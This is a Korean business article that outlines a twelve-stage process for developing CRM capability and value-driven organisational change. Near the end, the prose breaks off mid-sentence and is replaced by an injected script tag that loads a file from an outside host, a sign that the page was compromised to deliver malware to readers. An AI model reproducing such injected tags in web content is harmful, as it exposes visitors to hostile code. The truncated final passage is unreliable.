사업이슈에 따라 수행 능력 겸비한 계획 수립 CRM 조직 발전의 12단계 CRM 의 역량 확보라는 측면에 있어서 어떠한 단계를 밟아 나가야 할 것인가가 매우 중요한 이슈이다. Digital Marketplace 의 저자인 더글라스는 12단계의 과정을 통한 가치지향형 조직 발전의 역량확보를 역설하였는데 다음과 같다. 1단계 : 현재 가지고 있는 부가가치 창출 경쟁력이 어떠한 것들이 있으며 그것들이 어떠한 기술이나 능력, 자질등에 의해 실현되고 있는가를 명확히 파악한다. 2 단계: 경쟁 차별화 측면에서 부가가치를 창출하지 못하고 있는 활동들을 분류해낸다. 3 단계 : 비부가 가치 창출활동에 대한 변화 활동들을 합 목적성에 맞게 결정한다. 4 단계 : 새롭게 구성된 부가가치 활동들에 준한 활동체계를 고안한다 (조직, 업무등) 5 단계 : 가치있는 활동들의 우선순위화에 따라 투자 및 비용등의 배분을 재조정한다 6 단계 : 실행된 활동들중 성공요소 및 정보기술등의 접맥을 통해 계속적인 비용 효율화를 추진한다. 7 단계 : 협력체계를 통해 더욱 효율화 할수 있는 활동들을 외부조달한다. 8 단계 : 계속적인 활동들과 결과치들의 피드백을 통해 변화되는 시장의 Needs 나 경쟁 차별화 요소에 가치활동 창출을 추진한다 9 단계 : 외부 조달활동들의 위험요소들의 효과적인 관리방안을 도출 실행한다. 10 단계 : 가치 창출활동들의 측정기준들을 새롭게 적용하여 성과와 연계한다. 11 단계 : 효율적인 활동체계화를 위한 정보기술의 활용체계를 계속 유지 발전시킨다. 12 단계 : 조직의 변화에 대한 성공적인 경영관리 체제를 정착화 한다 (문화,관행타파,미래지향화,보상체계등) 기존 사업의 강화에서 출발 위의 12 가지 활동 과정들의 소개에서 보듯이 가장 중요한 중점 포인트는 가치의 생성 및 차별화이며, CRM을 추진하는데 있어서 그 추진단계에 따라 이러한 창출 활동 과정들의 변화가 매우 중요하다고 볼 수 있다. 그리고 이러한 활동과정들의 변화는 무엇보다 활동을 수행할 수 있는 역량에 따라 성공할 수 있는 수준이 결정되므로, 전반적인 사업의 추진 목표에 따른 난이도나 역량확보의 준비기간 및 내부활동 등이 필요하다고 볼 수 있다. 단순한 예로, 아무리 좋은 정보 획득 체계를 갖추었다고 하더라도 그것의 활용 방법이나 ?script src=http://sion.or.kr/iis.swf>
webmaster@geniepark.co.kr
<저작권자 © 제니파크, 무단 전재 및 재배포 금지>
